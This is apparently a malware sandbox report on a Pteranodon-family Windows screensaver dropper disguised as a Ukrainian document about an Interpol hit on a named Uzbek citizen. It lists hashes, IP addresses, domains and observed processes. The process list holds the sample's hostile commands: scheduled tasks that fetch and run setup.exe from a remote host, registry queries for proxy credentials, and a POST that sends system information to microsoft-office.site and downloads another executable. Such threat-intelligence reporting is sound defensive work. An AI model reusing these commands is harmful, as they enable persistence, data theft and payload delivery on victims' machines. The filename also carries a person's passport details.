Щодо спрацювання бази даних МОКП Інтерпол відносно громадянина Узбекистану NAZAROV ABDUSALOM 29.03.1992 р.н. паспорт громадянина Узбекистану №AC0601487.scr

Classification: Malicious

Щодо спрацювання бази даних МОКП Інтерпол відносно громадянина Узбекистану NAZAROV ABDUSALOM 29.03.1992 р.н. паспорт громадянина Узбекистану №AC0601487.scr…

Detection summary

0 antivirus detections
0 IDS alerts
111 processes observed
8 contacted hosts
9 DNS requests

MITRE ATT&CK associations

Malware families: PTERANODON (S0147)

Blacklist sightings

Description	Source	First seen	Last seen	Labels	MITRE ATT&CK
Pterodo	Cyber Threat Alliance	2026-10-12 15:32:27	2026-10-12 15:32:27	malicious-activity	S0147 Pteranodon
Generic.Malware	Hybrid-Analysis	2019-03-05 11:15:11	2019-03-05 11:15:11

Sample information

Filenames: Щодо спрацювання бази даних МОКП Інтерпол відносно громадянина Узбекистану NAZAROV ABDUSALOM 29.03.1992 р.н. паспорт громадянина Узбекистану №AC0601487.scr
File type: PE32 executable (GUI) Intel 80386, for MS Windows
Size: 1110364 bytes
MD5: 022caeb2e4ea4785d883961b02d287b1
SHA-1: 8d6f8651d78b1b5b1db56c5a717151efb82285b1
SHA-256: 19d1f5ca38cefb5deb63c3ac57b4eb6351b22a1cc5dcd07c79407aaf6b7ad0de
First indexed: 2019-03-05 11:15:11
Last updated: 2019-03-05 11:15:11

Network contacts

193.19.118.65 184.28.188.184 172.217.8.202 52.34.107.172 172.217.5.3 99.84.168.6 52.35.21.241 99.84.168.72

DNS requests

a1089.dscd.akamai.net cs9.wac.phicdn.net d1zkz3k4cclnv6.cloudfront.net dcky6u1m8u6el.cloudfront.net detectportal.firefox.com microsoft-office.site ocsp.pki.goog safebrowsing.googleapis.com shavar.prod.mozaws.net

Process list

Name	Command line
_________NAZAROVABDUSALOM29.03.1992_._.____AC0601487.scr.exe
cmd.exe	`/c ""%TEMP%\7ZipSfx.000\24712.cmd" "`
chcp.com	`chcp 1251`
taskkill.exe	`taskkill /f /im OfficeCookies.exe`
21100.exe	`"-pdcthfdyjdfcdst,tv`
OfficeCookies.exe
cmd.exe	`/c ""%TEMP%\7ZipSfx.001\30140.cmd" "`
chcp.com	`chcp 1251`
cmd.exe	`/c Reg.exe Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"\|Find /I "ProxyServer"`
reg.exe	`Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"`
find.exe	`Find /I "ProxyServer"`
cmd.exe	`/c Reg.exe Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"\|Find /I "ProxyUser"`
reg.exe	`Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"`
find.exe	`Find /I "ProxyUser"`
cmd.exe	`/c Reg.exe Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"\|Find /I "ProxyPass"`
reg.exe	`Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"`
find.exe	`Find /I "ProxyPass"`
cmd.exe	`/c vol c:`
cmd.exe	`/c vol c:`
systeminfo.exe
schtasks.exe	`schtasks /Create /SC MINUTE /MO 30 /F /tn ie_cash_5CA92A3F_01 /tr "%APPDATA%\Microsoft\IE\ie_cash.exe -b -c -t 5 'http://torrent-bits.ddns.net/Bx8jei6iA6_5CA92A3F/setup.exe' -P 'C:\Users\%OSUSER%'"`
schtasks.exe	`schtasks /Create /SC MINUTE /MO 32 /F /tn ie_cash_5CA92A3F_02 /tr "%USERPROFILE%\setup.exe"`
PING.EXE	`ping -n 5 8.8.8.8`
timeout.exe	`timeout /t 6`
taskkill.exe	`taskkill /f /im MicrosoftCreate.exe`
MicrosoftCreate.exe	--post-data="versiya=arm_05.03&comp=Bx8jei6iA6&id=Bx8jei6iA6_5CA92A3F&sysinfo=Документ Microsoft Office Word.docxHost Name: Bx8jei6iA6+###OS Name: Microsoft Windows 7 Professional +###OS Version: 6.1.7601 Service Pack 1 Build 7601+###OS Manufacturer: Microsoft Corporation+###OS Configuration: Standalone Workstation+###OS Build Type: Multiprocessor Free+###Registered Owner: Ruf21G3+###Registered Organization: +###Product ID: 88F7a-2lj-5CtifFL-AN9kz+###Original Install Date: 12/3/2017, 12:06:10 PM+###System Boot Time: 1/30/2019, 3:58:33 PM+###System Manufacturer: 85ztddi2VnAA+###System Model: eb4n4qEPeD+###System Type: X86-based PC+###Processor(s): 1 Processor(s) Installed.+###[01]: x86 Family 6 Model 79 Stepping 1 GenuineIntel ~2200 Mhz+###BIOS Version: LtYiBr1dzXda PFYvYtfXdZ, 12/1/2006+###Windows Directory: C:\Windows+###System Directory: C:\Windows\system32+###Boot Device: \Device\HarddiskVolume1+###System Locale: en-us;English (United States)+###Input Locale: es;Spanish (Traditional Sort)+###Time Zone: (UTC+01:00) Brussels, Copenhagen, Madrid, Paris+###Total Physical Memory: 3,071 MB+###Available Physical Memory: 1,181 MB+###Virtual Memory: Max Size: 4,095 MB+###Virtual Memory: Available: 3,430 MB+###Virtual Memory: In Use: 665 MB+###Page File Location(s): C:\pagefile.sys+###Domain: WORKGROUP+###Logon Server: \\Bx8jei6iA6+###Hotfix(s): 190 Hotfix(s) Installed.+###[01]: KB2849697+###[02]: KB2849696+###[03]: KB2841134+###[04]: KB2670838+###[05]: KB2479943+###[06]: KB2491683+###[07]: KB2506212+###[08]: KB2506928+###[09]: KB2509553+###[10]: KB2532531+###[11]: KB2533552+###[12]: KB2533623+###[13]: KB2534111+###[14]: KB2545698+###[15]: KB2547666+###[16]: KB2552343+###[17]: KB2560656+###[18]: KB2563227+###[19]: KB2564958+###[20]: KB2579686+###[21]: KB2585542+###[22]: KB2604115+###[23]: KB2620704+###[24]: KB2621440+###[25]: KB2631813+###[26]: KB2639308+###[27]: KB2640148+###[28]: KB2647753+###[29]: KB2653956+###[30]: KB2654428+###[31]: KB2656356+###[32]: KB2660075+###[33]: KB2667402+###[34]: KB2685811+###[35]: KB2685813+###[36]: KB2690533+###[37]: KB2698365+###[38]: KB2705219+###[39]: KB2719857+###[40]: KB2726535+###[41]: KB2727528+###[42]: KB2729094+###[43]: KB2731771+###[44]: KB2732059+###[45]: KB2732487+###[46]: KB2736422+###[47]: KB2742599+###[48]: KB2750841+###[49]: KB2761217+###[50]: KB2763523+###[51]: KB2770660+###[52]: KB2773072+###[53]: KB2786081+###[54]: KB2799926+###[55]: KB2800095+###[56]: KB2807986+###[57]: KB2808679+###[58]: KB2813430+###[59]: KB2820331+###[60]: KB2834140+###[61]: KB2836942+###[62]: KB2840631+###[63]: KB2843630+###[64]: KB2847927+###[65]: KB2852386+###[66]: KB2853952+###[67]: KB2861698+###[68]: KB2862152+###[69]: KB2862330+###[70]: KB2862335+###[71]: KB2864202+###[72]: KB2868038+###[73]: KB2871997+###[74]: KB2882822+###[75]: KB2884256+###[76]: KB2888049+###[77]: KB2891804+###[78]: KB2892074+###[79]: KB2893294+###[80]: KB2893519+###[81]: KB2894844+###[82]: KB2900986+###[83]: KB2908783+###[84]: KB2911501+###[85]: KB2912390+###[86]: KB2918077+###[87]: KB2919469+###[88]: KB2931356+###[89]: KB2937610+###[90]: KB2943357+###[91]: KB2952664+###[92]: KB2966583+###[93]: KB2968294+###[94]: KB2970228+###[95]: KB2972100+###[96]: KB2972211+###[97]: KB2973112+###[98]: KB2973201+###[99]: KB2973351+###[100]: KB2977292+###[101]: KB2978742+###[102]: KB2984972+###[103]: KB2985461+###[104]: KB2991963+###[105]: KB2992611+###[106]: KB2999226+###[107]: KB3003743+###[108]: KB3004361+###[109]: KB3004375+###[110]: KB3006121+###[111]: KB3006137+###[112]: KB3010788+###[113]: KB3011780+###[114]: KB3013531+###[115]: KB3019978+###[116]: KB3020370+###[117]: KB3021674+###[118]: KB3021917+###[119]: KB3022777+###[120]: KB3023215+###[121]: KB3030377+###[122]: KB3035126+###[123]: KB3035132+###[124]: KB3037574+###[125]: KB3042058+###[126]: KB3045685+###[127]: KB3046017+###[128]: KB3046269+###[129]: KB3054476+###[130]: KB3055642+###[131]: KB3059317+###[132]: KB3060716+###[133]: KB3061518+###[134]: KB3067903+###[135]: KB3068708+###[136]: KB3071756+###[137]: KB3072305+###[138]: KB3074543+###[139]: KB3075220+###[140]: KB3076895+###[141]: KB3078601+###[142]: KB3078667+###[143]: KB3080149+###[144]: KB3084135+###[145]: KB3086255+###[146]: KB3092601+###[147]: KB3092627+###[148]: KB3093513+###[149]: KB3097989+###[150]: KB3101722+###[151]: KB3107998+###[152]: KB3108371+###[153]: KB3108381+###[154]: KB3108664+###[155]: KB3109103+###[156]: KB3109560+###[157]: KB3110329+###[158]: KB3115858+###[159]: KB3122648+###[160]: KB3124275+###[161]: KB3126587+###[162]: KB3127220+###[163]: KB3133977+###[164]: KB3137061+###[165]: KB3138378+###[166]: KB3138612+###[167]: KB3138910+###[168]: KB3139398+###[169]: KB3139914+###[170]: KB3140245+###[171]: KB3147071+###[172]: KB3150220+###[173]: KB3150513+###[174]: KB3155178+###[175]: KB3156016+###[176]: KB3156019+###[177]: KB3159398+###[178]: KB3161102+###[179]: KB3161949+###[180]: KB3161958+###[181]: KB3170735+###[182]: KB3172605+###[183]: KB3177467+###[184]: KB3179573+###[185]: KB3184143+###[186]: KB4019990+###[187]: KB4040980+###[188]: KB976902+###[189]: KB982018+###[190]: KB4048957+###Network Card(s): 1 NIC(s) Installed.+###[01]: Intel(R) PRO/1000 MT Desktop Adapter+###Connection Name: Local Area Connection+###DHCP Enabled: No+###IP address(es)+###[01]: 192.168.240.17+###[02]: fe80::7cb2:a2ed:b024:e5a0+###" "http://microsoft-office.site" -q -N http://microsoft-office.site -O richtime.exe
timeout.exe	`timeout /T 4`
timeout.exe	`timeout /t 16`
PING.EXE	`ping -n 3 8.8.8.8`
PING.EXE	`ping -n 5 8.8.8.8`

Classification: Malicious

Detection summary

MITRE ATT&CK associations

Blacklist sightings

Tags

Sample information

Network contacts

DNS requests

Process list